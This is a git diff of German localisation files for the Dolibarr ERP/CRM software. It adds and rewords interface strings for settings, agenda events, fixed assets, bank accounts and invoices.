+AGENDA_EVENT_FUTURE_COLOR=Farbe für Ereignisse in der Zukunft AGENDA_DEFAULT_VIEW=Welche Standardansicht soll geöffnet werden, wenn das Menü 'Agenda' geöffnet wird AGENDA_REMINDER_BROWSER=Aktiviere die Ereigniserinnerung im Browser des Benutzers. (Wenn das Erinnerungsdatum erreicht ist, wird vom Browser ein Popup angezeigt. Jeder Benutzer kann solche Benachrichtigungen in seinem Browser-Benachrichtigungs-Setup deaktivieren.) AGENDA_REMINDER_BROWSER_SOUND=Aktiviere Tonbenachrichtigung @@ -1824,20 +1851,20 @@ ClickToDialUseTelLink=Nur einen Link "Tel:" bei Telefonnummern verwenden ClickToDialUseTelLinkDesc=Verwenden Sie diese Methode, wenn Ihre Benutzer ein Software-Telefon oder ein Interface für ein Telefon auf demselben Computer installiert haben, auf dem der Browser läuft. Dieses Telefon/Interface wird aufgerufen, wenn Sie im Browser auf einen Link klicken, der mit "tel:" beginnt. Wenn Sie einen Link verwenden wollen, der mit "sip:" beginnt, oder wenn Sie eine vollständige Serverlösung nutzen (ohne lokale Software-Installation), wählen Sie hier "Nein" und füllen das nächste Feld aus.\n ##### Point Of Sale (CashDesk) ##### CashDesk=Kassenterminal -CashDeskSetup=Kassenmoduleinstellungen +CashDeskSetup=Einstellungen Modul POS/Registrierkasse CashDeskThirdPartyForSell=Standard-Geschäftspartner für Kassenverkäufe CashDeskBankAccountForSell=Standardkonto Kasse für Barzahlungen CashDeskBankAccountForCheque=Standardkonto für Zahlungen per Scheck CashDeskBankAccountForCB=Standardkonto für Zahlungen per Kreditkarte CashDeskBankAccountForSumup=Standardbankkonto zum Empfangen von Zahlungen von SumUp CashDeskDoNotDecreaseStock=Deaktiviere Lagerabgangsbuchung wenn ein Verkauf an einem Point of Sale erfolgt\n(bei "Nein" wird die Lagerabgangsbuchung immer durchgeführt, auch wenn im Modul 'Lagerverwaltung' eine andere Einstellung gewählt wurde). -CashDeskIdWareHouse=Warenlager für Entnahmen festlegen und erzwingen +CashDeskIdWareHouse=Lager für Entnahmen festlegen und erzwingen StockDecreaseForPointOfSaleDisabled=Lagerrückgang bei Verwendung von Point of Sale deaktiviert StockDecreaseForPointOfSaleDisabledbyBatch=Die Bestandsreduzierung am POS ist nicht mit dem Modul Serial / Lot Management (derzeit aktiv) kompatibel, sodass die Bestandsreduzierung deaktiviert ist. CashDeskYouDidNotDisableStockDecease=Sie haben die Reduzierung der Lagerbestände nicht deaktiviert, wenn Sie einen Verkauf auf dem Point of Sale durchführen.\nAuch ist ein Lager/Standort notwendig. CashDeskForceDecreaseStockLabel=Eine Bestandsreduktion für Produktposten wurde erzwungen. CashDeskForceDecreaseStockDesc=Verringern Sie zuerst ausgehend vom ältesten Mindesthaltbarkeitsdatum oder Verbrauchsdatum. -CashDeskReaderKeyCodeForEnter=Tastencode für "Enter" wie im Barcode-Leser definiert (Beispiel: 13) +CashDeskReaderKeyCodeForEnter=Im Barcode-Leser definierter ASCII-Code für „Enter“-Taste (Beispiel: ASCII-Code 13) ##### Bookmark ##### BookmarkSetup=Lesezeichen-Moduleinstellungen BookmarkDesc=Dieses Modul ermöglicht die Verwaltung von Lesezeichen. Außerdem können Sie hiermit Verknüpfungen zu internen und externen Seiten im linken Menü anlegen. @@ -1865,7 +1892,7 @@ BankOrderES=Spanisch BankOrderESDesc=Spanische Anzeigereihenfolge ChequeReceiptsNumberingModule=Modul zur Nummerierung von Belegen prüfen ##### Multicompany ##### -MultiCompanySetup=Einstellungen Modul Multi-Company (Mandanten) +MultiCompanySetup=Einstellungen Modul Mandanten ##### Suppliers ##### SuppliersSetup=Einstellungen Modul Lieferanten SuppliersCommandModel=Vollständige Vorlage für Lieferantenbestellungen @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Lieferantenrechnungen Zähl-Modell IfSetToYesDontForgetPermission=Wenn ein Wert ungleich Null festgelegt ist, vergessen Sie nicht, Berechtigungen für Gruppen oder Benutzer bereitzustellen, die für die zweite Genehmigung zugelassen sind ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP-Maxmind Moduleinstellungen -PathToGeoIPMaxmindCountryDataFile=Pfad zu der Datei, welche die Maxmind IP-zu-Land Umwandlungs-Informationen enthält.
      Beispiele:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Pfad zur Maxmind-Datei mit der Zuordnung von IPs zu Ländern NoteOnPathLocation=Bitte beachten Sie, dass Ihre IP-Länder-Datei in einem von PHP lesbaren Verzeichnis liegen muss (Überprüfen Sie Ihre PHP open_basedir-Einstellungen und die Dateisystem-Berechtigungen). YouCanDownloadFreeDatFileTo=Eine kostenlose Demo-Version der Maxmind-GeoIP Datei finden Sie hier: %s YouCanDownloadAdvancedDatFileTo=Eine vollständigere Version mit Updates der Maxmind-GeoIP Datei können Sie hier herunterladen: %s @@ -1926,6 +1953,7 @@ BackupDumpWizard=Assistent zum Erstellen der Datenbank-Dump-Datei BackupZipWizard=Assistent zum Erstellen eines Archivs des Dokumentenverzeichnisses SomethingMakeInstallFromWebNotPossible=Die Installation von dem externen Modul ist aus folgenden Gründen vom Web-Interface nicht möglich: SomethingMakeInstallFromWebNotPossible2=Aus diesem Grund ist der hier beschriebene Aktualisierungsvorgang ein manueller Vorgang, den nur ein privilegierter Benutzer ausführen kann. +InstallModuleFromWebHasBeenDisabledContactUs=Die Installation oder Entwicklung externer Module oder dynamischer Websites aus der Anwendung ist derzeit aus Sicherheitsgründen gesperrt. Bitte kontaktieren Sie uns, wenn Sie diese Funktion benötigen. InstallModuleFromWebHasBeenDisabledByFile=Installieren von externen Modul aus der Anwendung wurde von Ihrem Administrator deaktiviert. \nSie müssen ihn bitten, die Datei%s zu entfernen, um diese Funktion zu ermöglichen. ConfFileMustContainCustom=Um ein externes Modul zu erstellen oder installieren, müssen die Modul Dateien im Verzeichnis %s gespeichert werden. Damit dieses Verzeichnis durch Dolibarr verwendet wird, muss in den Einstellungen conf/conf.php die folgenden 2 Zeilen hinzugefügt werden:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Zeilen hervorheben bei Mouseover @@ -2021,7 +2049,7 @@ UrlToGetKeyToUseAPIs=URL zum Abrufen des Tokens zur Verwendung der API (sobald d ListOfAvailableAPIs=Liste von verfügbaren APIs activateModuleDependNotSatisfied=Das Modul "%s" hängt vom fehlenden Modul "%s" ab, sodass das Modul "%1$s" möglicherweise nicht ordnungsgemäß funktioniert. Bitte installieren Sie das Modul "%2$s" oder deaktivieren Sie das Modul "%1$s", um vor Überraschungen bewahrt zu werden CommandIsNotInsideAllowedCommands=Das Kommando, das Sie versucht haben auszuführen, ist nicht in der Liste der erlaubten Kommandos enthalten. Diese ist im Parameter $dolibarr_main_restrict_os_commands in der Datei conf.php definiert. -LandingPage=Einstiegsseite +LandingPage=Startseite SamePriceAlsoForSharedCompanies=Wenn Sie ein Multicompany-Modul mit der Auswahl "Einzelpreis" verwenden, ist der Preis auch für alle Unternehmen gleich, wenn Produkte zwischen Umgebungen geteilt werden ModuleEnabledAdminMustCheckRights=Das Modul wurde aktiviert. Die Berechtigungen für aktiviertes Modul(e) wurden nur für den/die Administrator/Gruppe vergeben. Möglicherweise müssen Sie anderen Benutzern oder Gruppen bei Bedarf manuell Berechtigungen erteilen. UserHasNoPermissions=Dieser Benutzer hat keine Rechte @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Sonderzeichen entfernen COMPANY_AQUARIUM_CLEAN_REGEX=Regexfilter um die Werte zu Bereinigen (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex-Filter zum Bereinigen des Werts (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Doppelte Einträge sind nicht erlaubt +RemoveSpecialWords=Löschen Sie bestimmte Wörter, wenn Sie Unterkonten für Kunden oder Lieferanten erstellen +RemoveSpecialWordsHelp=Geben Sie die vor der Benennung des Kunden- oder Lieferantenkontos zu entfernenden Wörter an. Ein ";" zwischen jedem Wort verwenden. GDPRContact=Datenschutzbeauftragte(r) GDPRContactDesc=Wenn Sie personenbezogene Daten in Ihrem Informationssystem speichern, können Sie hier den für die Datenschutz-Grundverordnung (DSGVO) zuständigen Ansprechpartner benennen HelpOnTooltip=Anzeigen des Hilfetextes im Tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Zielverzechnis des eMail-Kontos EmailcollectorOperations=Aktivitäten, die der eMail-Collector ausführen soll EmailcollectorOperationsDesc=Operationen werden von oben nach unten ausgeführt MaxEmailCollectPerCollect=Maximale Anzahl an einzusammelnden E-Mails je Collect-Vorgang +TestCollectNow=Collect testen CollectNow=Jetzt abrufen ConfirmCloneEmailCollector=Möchten Sie den E-Mail-Collector %s wirklich duplizieren? DateLastCollectResult=Datum des letzten eMail-Collect-Versuchs @@ -2109,6 +2140,7 @@ CodeLastResult=Letzter Resultatcode NbOfEmailsInInbox=Anzahl E-Mails im Quellverzeichnis LoadThirdPartyFromName=Drittanbieter-Suche auf %s laden (nur laden) LoadThirdPartyFromNameOrCreate=Drittanbieter-Suche auf %s laden (erstellen, wenn nicht gefunden) +LoadContactFromEmailOrCreate=Kontakt aus %s entnehmen (erstellen, wenn nicht gefunden) AttachJoinedDocumentsToObject=Speichern Sie angehängte Dateien als Dokumente eines Objekts, wenn die Referenz des Objekts im Betreff der E-Mail gefunden wird. WithDolTrackingID=Nachricht einer Unterhaltung die durch eine erste von Dolibarr gesendete E-Mail initiiert wurde WithoutDolTrackingID=Nachricht einer Unterhaltung die NICHT durch eine erste von Dolibarr gesendete E-Mail initiiert wurde @@ -2183,6 +2215,7 @@ ShowProjectLabel=Projektbezeichnung PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Den Namen des Geschäftspartners um Alias ergänzen THIRDPARTY_ALIAS=Name Geschäftspartner - Alias Geschäftspartner ALIAS_THIRDPARTY=Alias Geschäftspartner - Name Geschäftspartner +PDFIn2Languages=Beschreibungen im PDF in zwei verschiedenen Sprachen anzeigen PDF_USE_ALSO_LANGUAGE_CODE=Wenn Sie möchten, dass einige Texte in Ihrem PDF in 2 verschiedenen Sprachen in demselben generierten PDF dupliziert werden, müssen Sie hier diese zweite Sprache festlegen, damit das generierte PDF zwei verschiedene Sprachen auf derselben Seite enthält, die beim Generieren von PDF ausgewählte und diese (dies wird nur von wenigen PDF-Vorlagen unterstützt). Für 1 Sprache pro PDF leer halten. PDF_USE_A=PDF-Dokumente im Format PDF/A erstellen anstelle des Standardformats PDF FafaIconSocialNetworksDesc=Geben Sie hier den Code für ein FontAwesome-Icon ein. Wenn Sie FontAwesome nicht kennen, können Sie den Standard 'fa-address-book' benutzen. @@ -2216,7 +2249,7 @@ NoWritableFilesFoundIntoRootDir=In Ihrem Stammverzeichnis wurden keine beschreib RecommendedValueIs=Empfohlen: %s Recommended=Empfohlen NotRecommended=Nicht empfohlen -ARestrictedPath=Eingeschränkter Pfad +ARestrictedPath=Eingeschränkter Pfad für Datendateien CheckForModuleUpdate=Suchen Sie nach Updates für externe Module CheckForModuleUpdateHelp=Diese Aktion stellt eine Verbindung zu Editoren externer Module her, um zu überprüfen, ob eine neue Version verfügbar ist. ModuleUpdateAvailable=Eine Aktualisierung ist verfügbar @@ -2264,10 +2297,10 @@ LateWarningAfter=Warnung "verspätet" nach TemplateforBusinessCards=Vorlage für eine Visitenkarte in unterschiedlicher Größe InventorySetup= Bestandsaufnahme einrichten ExportUseLowMemoryMode=Verwenden Sie einen Low-Memory-Modus -ExportUseLowMemoryModeHelp=Verwenden Sie den Low-Memory-Modus, um den Dump zu erstellen (die Komprimierung erfolgt durch eine Pipe statt im PHP-Speicher). Mit dieser Methode kann nicht überprüft werden, ob die Datei vollständig ist, und es kann keine Fehlermeldung ausgeben werden, wenn der Vorgang fehlschlägt. +ExportUseLowMemoryModeHelp=Verwenden Sie den Low-Memory-Modus, um die Dump-Datei zu generieren (die Komprimierung erfolgt über eine Pipe statt in den PHP-Speicher). Mit dieser Methode kann nicht überprüft werden, ob die Datei vollständig ist, und es kann keine Fehlermeldung gemeldet werden, wenn der Vorgang fehlschlägt. Verwenden Sie diesen Modus, wenn Sie die Fehlermeldung "nicht genügend Speicher" erhalten. ModuleWebhookName = Webhook -ModuleWebhookDesc = Schnittstelle zum Abfangen von Dolibarr-Triggern und zum Senden an eine URL +ModuleWebhookDesc = Schnittstelle zum Abfangen von Dolibarr-Triggern und Senden von Daten des Ereignisses an eine URL WebhookSetup = Webhook-Einrichtung Settings = Einstellungen WebhookSetupPage = Webhook-Einrichtungsseite @@ -2288,6 +2321,8 @@ IconOnly=Nur Icon - Der Text wird als Tooltipp angezeigt INVOICE_ADD_ZATCA_QR_CODE=Den ZATCA-QR-Code auf Rechnungen anzeigen INVOICE_ADD_ZATCA_QR_CODEMore=Einige arabische Länder benötigen diesen QR-Code auf ihren Rechnungen INVOICE_ADD_SWISS_QR_CODE=Schweizer QR-Rechnungscode auf Rechnungen anzeigen +INVOICE_SHOW_SHIPPING_ADDRESS=Lieferadresse anzeigen +INVOICE_SHOW_SHIPPING_ADDRESSMore=Obligatorische Angabe für Frankreich UrlSocialNetworksDesc=URL-Link des sozialen Netzwerks. Verwenden Sie {socialid} für den variablen Teil, der die ID des sozialen Netzwerks enthält. IfThisCategoryIsChildOfAnother=Wenn diese Kategorie unterhalb einer anderen ist DarkThemeMode=Dark Theme-Modus @@ -2307,3 +2342,37 @@ UsePassword=Passwort verwenden UseOauth=OAUTH-Token verwenden Images=Bilder MaxNumberOfImagesInGetPost=Maximal zulässige Anzahl von Bildern, die in einem HTML-Feld in einem Formular eingefügt werden können +MaxNumberOfPostOnPublicPagesByIP=Maximale Anzahl von Beiträgen auf öffentlichen Seiten mit derselben IP-Adresse in einem Monat +CIDLookupURL=Das Modul bringt eine URL mit, die von einem externen Tool verwendet werden kann, um den Namen eines Geschäftspartners oder Kontakts aus seiner Telefonnummer zu ermitteln. Zu verwendende URL ist: +ScriptIsEmpty=Das Skript ist leer +ShowHideTheNRequests=Anzeigen/Ausblenden der %s-SQL-Anfrage(n) +DefinedAPathForAntivirusCommandIntoSetup=Dateipfad zu Antivirenprogramm in %s +TriggerCodes=Triggerbare Ereignisse +TriggerCodeInfo=Geben Sie hier den/die Triggercode(s) ein, der/die das Auslösen einer Webanfrage generieren muss (nur externe URLs sind erlaubt). Sie können mehrere Triggercodes durch Komma getrennt eingeben. +EditableWhenDraftOnly=Wenn diese Option deaktiviert ist, kann der Wert nur geändert werden, wenn sich das Objekt im Entwurfsstatus befindet +CssOnEdit=CSS auf Bearbeitungsseiten +CssOnView=CSS auf Ansichtsseiten +CssOnList=CSS auf Listenseiten +HelpCssOnEditDesc=Beim Bearbeiten des Feldes verwendetes CSS.
      Beispiel: „minwiwdth100 maxwidth500 widthcentpercentminusx“ +HelpCssOnViewDesc=Beim Anzeigen des Feldes verwendetes CSS. +HelpCssOnListDesc=CSS, das verwendet wird, wenn sich das Feld in einer Listentabelle befindet.
      Beispiel: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Bestellte Menge auf den generierten Belegen für den Empfang ausblenden +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Anzeige des Preises auf den generierten Dokumenten für den Wareneingang +WarningDisabled=Warnung deaktiviert +LimitsAndMitigation=Zugriffsbeschränkungen +DesktopsOnly=Nur Desktop-Bildschirme +DesktopsAndSmartphones=Desktop-Bildschirme und Smartphones +AllowOnlineSign=Online-Unterzeichnung ermöglichen +AllowExternalDownload=Externen Download zulassen (ohne Anmeldung, über einen freigegebenen Link) +DeadlineDayVATSubmission=Stichtag für die MwSt.-Einreichung im nächsten Monat +MaxNumberOfAttachementOnForms=Maximale Anzahl verbundener Dateien in einem Formular +IfDefinedUseAValueBeetween=Wenn definiert, einen Wert zwischen %s und %s verwenden +Reload=Neu laden +ConfirmReload=Neuladen des Moduls bestätigen +WarningModuleHasChangedLastVersionCheckParameter=Achtung: Das Modul %s hat einen Parameter gesetzt, um seine Version bei jedem Seitenzugriff zu prüfen. Dies ist eine schlechte und nicht erlaubte Vorgehensweise, die dazu führen kann, dass die Seite zum Verwalten von Modulen instabil wird. Bitte wenden Sie sich an den Autor des Moduls, um dies zu beheben. +WarningModuleHasChangedSecurityCsrfParameter=Warnung: Das Modul %s hat die CSRF-Sicherheit Ihrer Instanz deaktiviert. Diese Aktion ist verdächtig und Ihre Installation ist möglicherweise nicht mehr gesichert. Bitte wenden Sie sich zur Erläuterung an den Autor des Moduls. +EMailsInGoingDesc=Eingehende E-Mails werden vom Modul %s verwaltet. Sie müssen es aktivieren und konfigurieren, wenn Sie eingehende E-Mails unterstützen müssen. +MAIN_IMAP_USE_PHPIMAP=Verwenden Sie die PHP-IMAP-Bibliothek für IMAP anstelle von nativem PHP-IMAP. Dies ermöglicht auch die Verwendung einer OAuth2-Verbindung für IMAP (Modul OAuth muss ebenfalls aktiviert sein). +MAIN_CHECKBOX_LEFT_COLUMN=Spalte für Feld- und Zeilenauswahl links anzeigen (standardmäßig rechts) + +CSSPage=CSS-Style diff --git a/htdocs/langs/de_DE/agenda.lang b/htdocs/langs/de_DE/agenda.lang index 6236ce05914..e8aeb2987f3 100644 --- a/htdocs/langs/de_DE/agenda.lang +++ b/htdocs/langs/de_DE/agenda.lang @@ -4,7 +4,7 @@ Actions=Ereignisse Agenda=Agenda TMenuAgenda=Agenda Agendas=Agenden -LocalAgenda=Standardkalender +LocalAgenda=Standard-Kalender ActionsOwnedBy=Ereignis stammt von ActionsOwnedByShort=Eigentümer AffectedTo=Zugewiesen an @@ -58,9 +58,9 @@ MemberModifiedInDolibarr=Mitglied %s geändert MemberResiliatedInDolibarr=Mitglied %s aufgehoben MemberDeletedInDolibarr=Mitglied %s gelöscht MemberExcludedInDolibarr=Mitglied %s ausgeschlossen -MemberSubscriptionAddedInDolibarr=Abonnement %s für Mitglied %s hinzugefügt -MemberSubscriptionModifiedInDolibarr=Abonnement %s für Mitglied %s geändert -MemberSubscriptionDeletedInDolibarr=Abonnement %s für Mitglied %s gelöscht +MemberSubscriptionAddedInDolibarr=Abonnement %s zum Mitglied %s hinzugefügt +MemberSubscriptionModifiedInDolibarr=Abonnement %s von Mitglied %s geändert +MemberSubscriptionDeletedInDolibarr=Abonnement %s von Mitglied %s gelöscht ShipmentValidatedInDolibarr=Lieferung %s freigegeben ShipmentClassifyClosedInDolibarr=Lieferung %s als verrechnet markiert ShipmentUnClassifyCloseddInDolibarr=Lieferung %s als wiedereröffnet markieren @@ -68,6 +68,7 @@ ShipmentBackToDraftInDolibarr=Sendung %s zurück zum Entwurfsstatus ShipmentDeletedInDolibarr=Lieferung %s gelöscht ShipmentCanceledInDolibarr=Sendung %s storniert ReceptionValidatedInDolibarr=Wareneingang %s bestätigt +ReceptionDeletedInDolibarr=Wareneingang %s gelöscht ReceptionClassifyClosedInDolibarr=Wareneingang %s als geschlossen klassifiziert OrderCreatedInDolibarr=Auftrag %s erstellt OrderValidatedInDolibarr=Auftrag %s freigegeben @@ -87,6 +88,7 @@ SupplierInvoiceSentByEMail=Lieferantenrechnung %s per E-Mail gesendet ShippingSentByEMail=Lieferung %s per E-Mail versendet ShippingValidated= Lieferung %s freigegeben InterventionSentByEMail=Serviceauftrag %s per E-Mail versendet +ProjectSentByEMail=Projekt %s per E-Mail gesendet ProposalDeleted=Angebot gelöscht OrderDeleted=Auftrag gelöscht InvoiceDeleted=Rechnung gelöscht @@ -175,5 +177,6 @@ ReminderType=Erinnerungstyp AddReminder=Erstellt eine automatische Erinnerungsbenachrichtigung für dieses Ereignis ErrorReminderActionCommCreation=Fehler beim Erstellen der Erinnerungsbenachrichtigung für dieses Ereignis BrowserPush=Browser-Popup-Benachrichtigung +Reminders=Erinnerungen ActiveByDefault=Standardmäßig aktiviert Until=bis diff --git a/htdocs/langs/de_DE/assets.lang b/htdocs/langs/de_DE/assets.lang index 73b2b3fbc55..8390fe6fc1b 100644 --- a/htdocs/langs/de_DE/assets.lang +++ b/htdocs/langs/de_DE/assets.lang @@ -16,7 +16,7 @@ # # Generic # -NewAsset=neue Anlage +NewAsset=Neues Anlagegut AccountancyCodeAsset=Buchungskonto (Anlagegut) AccountancyCodeDepreciationAsset=Buchungskonto (Abschreibung auf Anlagegut) AccountancyCodeDepreciationExpense=Buchungskonto (Aufwendungen für Abschreibungen) @@ -48,7 +48,7 @@ ASSET_ACCOUNTANCY_CATEGORY=Kontengruppe für Anlagevermögen # Menu # MenuAssets=Anlagen -MenuNewAsset=neue Anlage +MenuNewAsset=Neues Anlagegut MenuAssetModels=Modell für Vermögenswerte MenuListAssets=Liste MenuNewAssetModel=Neues Modell für Vermögenswerte @@ -63,14 +63,14 @@ ConfirmDeleteAsset=Möchten Sie diesen Vermögenswert wirklich entfernen? # Tab # AssetDepreciationOptions=Abschreibungsmöglichkeiten -AssetAccountancyCodes=Buchhaltungskonten +AssetAccountancyCodes=Buchungskonten AssetDepreciation=Abschreibung # # Asset # Asset=Anlagegut -Assets=Ressourcen / Anlagen +Assets=Anlagen/Vermögenswerten AssetReversalAmountHT=Stornobetrag (ohne Steuern) AssetAcquisitionValueHT=Anschaffungsbetrag (ohne Steuern) AssetRecoveredVAT=Zurückerstattete USt. @@ -80,7 +80,7 @@ AssetDateStart=Datum der Inbetriebnahme AssetAcquisitionType=Art des Erwerbs AssetAcquisitionTypeNew=Neu AssetAcquisitionTypeOccasion=Gebraucht -AssetType=Art des Vermögenswertes +AssetType=Art des Anlageguts AssetTypeIntangible=Immateriell AssetTypeTangible=Materiell AssetTypeInProgress=in Bearbeitung @@ -109,8 +109,8 @@ AssetDisposalSubjectToVat=Abgang USt.-pflichtig # # Asset model # -AssetModel=Modell des Vermögenswerts -AssetModels=Modelle des Vermögenswerts +AssetModel=Modell des Anlageguts +AssetModels=Modelle der Anlagegüter # # Asset depreciation options @@ -140,7 +140,7 @@ AssetAccountancyCodeDepreciationEconomic=Wirtschaftliche Abschreibung AssetAccountancyCodeAsset=Anlagegut AssetAccountancyCodeDepreciationAsset=Abschreibung AssetAccountancyCodeDepreciationExpense=Abschreibungsaufwand -AssetAccountancyCodeValueAssetSold=Wert des abgegangenen Vermögenswerts +AssetAccountancyCodeValueAssetSold=Wert des abgegangenen Anlageguts AssetAccountancyCodeReceivableOnAssignment=Forderung bei Abgang AssetAccountancyCodeProceedsFromSales=Erlös aus Abgang AssetAccountancyCodeVatCollected=Eingenommene USt. @@ -168,10 +168,10 @@ AssetDepreciationReversal=Umkehrung # # Errors # -AssetErrorAssetOrAssetModelIDNotProvide=Die ID des Vermögenswertes oder das Modell wurde nicht bereitgestellt -AssetErrorFetchAccountancyCodesForMode=Fehler beim Abrufen der Buchhaltungskonten für den Abschreibungsmodus '%s' -AssetErrorDeleteAccountancyCodesForMode=Fehler beim Löschen von Buchhaltungskonten aus dem Abschreibungsmodus '%s' -AssetErrorInsertAccountancyCodesForMode=Fehler beim Einfügen der Buchhaltungskonten des Abschreibungsmodus '%s' +AssetErrorAssetOrAssetModelIDNotProvide=Die ID des Anlageguts oder das Modell wurde nicht bereitgestellt +AssetErrorFetchAccountancyCodesForMode=Fehler beim Abrufen der Buchungskonten für den Abschreibungsmodus '%s' +AssetErrorDeleteAccountancyCodesForMode=Fehler beim Löschen von Buchungskonten aus dem Abschreibungsmodus '%s' +AssetErrorInsertAccountancyCodesForMode=Fehler beim Einfügen der Buchungskonten des Abschreibungsmodus '%s' AssetErrorFetchDepreciationOptionsForMode=Fehler beim Abrufen von Optionen für den Abschreibungsmodus „%s“. AssetErrorDeleteDepreciationOptionsForMode=Fehler beim Löschen der Optionen des Abschreibungsmodus '%s' AssetErrorInsertDepreciationOptionsForMode=Fehler beim Einfügen der Optionen des Abschreibungsmodus '%s' diff --git a/htdocs/langs/de_DE/banks.lang b/htdocs/langs/de_DE/banks.lang index 7fe61fb045b..146de0ae58d 100644 --- a/htdocs/langs/de_DE/banks.lang +++ b/htdocs/langs/de_DE/banks.lang @@ -12,13 +12,13 @@ ShowAccount=Zeige Konto AccountRef=Bankkonto Nr./Ref. AccountLabel=Kontobezeichnung CashAccount=Geldkonto -CashAccounts=Geldkonten +CashAccounts=Kassen-/Bargeldkonten CurrentAccounts=Girokonten SavingAccounts=Sparkonten ErrorBankLabelAlreadyExists=Kontobezeichnung existiert bereits BankBalance=Kontostand BankBalanceBefore=Saldo (vorher) -BankBalanceAfter=Bilanz (nachher) +BankBalanceAfter=Saldo (nachher) BalanceMinimalAllowed=Mindestbestand BalanceMinimalDesired=Gewünschter Mindestbestand InitialBankBalance=Eröffnungsbestand @@ -49,6 +49,9 @@ BankAccountDomiciliation=Kontoadresse BankAccountCountry=Bankkonto Land BankAccountOwner=Kontoinhaber BankAccountOwnerAddress=Kontoinhaber-Adresse +BankAccountOwnerZip=Kontoinhaber PLZ +BankAccountOwnerTown=Kontoinhaber Stadt +BankAccountOwnerCountry=Kontoinhaber Land CreateAccount=Konto erstellen NewBankAccount=Neues Konto NewFinancialAccount=Neues Konto @@ -185,4 +188,3 @@ AlreadyOneBankAccount=Es wurde bereits ein Bankkonto definiert SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA-Überweisung: „Zahlungsart“ auf Ebene „Überweisung“. SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=Bei der Generierung einer SEPA-XML-Datei für Überweisungen kann nun der Abschnitt „PaymentTypeInformation“ innerhalb des Abschnitts „CreditTransferTransactionInformation“ platziert werden (statt im Abschnitt „Payment“). Wir empfehlen dringend, dies deaktiviert zu lassen, um PaymentTypeInformation auf Payment-Ebene zu platzieren, da nicht alle Banken es auf CreditTransferTransactionInformation-Ebene akzeptieren. Wenden Sie sich an Ihre Bank, bevor Sie PaymentTypeInformation auf der Ebene CreditTransferTransactionInformation platzieren. ToCreateRelatedRecordIntoBank=Um einen fehlenden zugehörigen Bankdatensatz zu erstellen -BanklineExtraFields=Ergänzende Attribute Bankbuchung diff --git a/htdocs/langs/de_DE/bills.lang b/htdocs/langs/de_DE/bills.lang index 10b75b18d0f..d19f72ac565 100644 --- a/htdocs/langs/de_DE/bills.lang +++ b/htdocs/langs/de_DE/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=Statistik Kundenrechnungen BillsStatisticsSuppliers=Statistik Lieferantenrechnungen DisabledBecauseDispatchedInBookkeeping=Deaktiviert, da die Rechnung schon in die Buchhaltung übernommen wurde DisabledBecauseNotLastInvoice=Deaktiviert da die Rechnung nicht gelöscht werden kann. Es wurden schon Rechnungen nach dieser Rechnung erstellt, so dass die Nummerierung nicht fortlaufend wäre. +DisabledBecauseNotLastSituationInvoice=Deaktiviert, da die Rechnung nicht löschbar ist. Diese Rechnung ist nicht die letzte in der Folge der Abschlagsrechnungen. DisabledBecauseNotErasable=Deaktiviert, da löschen nicht möglich InvoiceStandard=Standardrechnung InvoiceStandardAsk=Standardrechnung InvoiceStandardDesc=Dies ist das Standard-Rechnungsformat +InvoiceStandardShort=Standard InvoiceDeposit=Anzahlungsrechnung InvoiceDepositAsk=Anzahlungsrechnung InvoiceDepositDesc=Diese Art der Rechnung erfolgt, wenn eine Anzahlung getätigt wurde. @@ -24,6 +26,7 @@ InvoiceProForma=Proforma-Rechnung InvoiceProFormaAsk=Proforma-Rechnung InvoiceProFormaDesc=Die Proforma-Rechnung ist das Abbild einer echten Rechnung, hat aber keinen buchhalterischen Wert. InvoiceReplacement=Ersatzrechnung +InvoiceReplacementShort=Ersatz InvoiceReplacementAsk=Ersatzrechnung für Rechnung InvoiceReplacementDesc=Eine Ersatzrechnung wird benutzt um eine Rechnung zu ersetzen, bei der noch keine Zahlung erfolgte.

      Hinweis: Nur Rechnungen ohne erfolgte Zahlung können ersetzt werden. Sofern die Rechnung noch nicht geschlossen wurde, wird sie automatisch verworfen. InvoiceAvoir=Gutschrift @@ -159,6 +162,7 @@ ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=Dieser Artikel o ErrorInvoiceIsNotLastOfSameType=Fehler: Das Rechnungsdatum der Rechnung %s ist %s. Es muss gleich oder nach dem letzten Datum für Rechnungen des gleichen Typs sein (%s). Bitte ändern Sie das Rechnungsdatum. BillFrom=Von BillTo=An +ShippingTo=Lieferadresse ActionsOnBill=Ereignisse zu dieser Rechnung RecurringInvoiceTemplate=Vorlage/Wiederkehrende Rechnung NoQualifiedRecurringInvoiceTemplateFound=Keine Vorlagen zur Erstellung von wiederkehrenden Rechnungen gefunden. @@ -370,7 +374,7 @@ LatestRelatedBill=Letzte ähnliche Rechnung WarningBillExist=Achtung, es existiert bereits mindestens eine Rechnung hierzu MergingPDFTool=PDF zusammenführen AmountPaymentDistributedOnInvoice=Zahlungsbetrag verteilt auf Rechnung -PaymentOnDifferentThirdBills=Erlaube Zahlungen für Rechnungen an verschiedene Partner der selben Firma. +PaymentOnDifferentThirdBills=Erlaube gemeinsame Zahlungen für Rechnungen unterschiedlicher Geschäftspartner mit gemeinsamer Muttergesellschaft PaymentNote=Zahlungshinweis ListOfPreviousSituationInvoices=Liste der vorherigen Fortschrittsrechnungen ListOfNextSituationInvoices=Liste der nächsten Fortschrittsrechnungen @@ -402,7 +406,7 @@ GeneratedFromTemplate=Erzeugt von der Rechnungsvorlage %s WarningInvoiceDateInFuture=Achtung, das Rechnungsdatum liegt nach dem aktuellen Datum WarningInvoiceDateTooFarInFuture=Achtung, das Rechnungsdatum ist zu weit entfernt vom aktuellen Datum 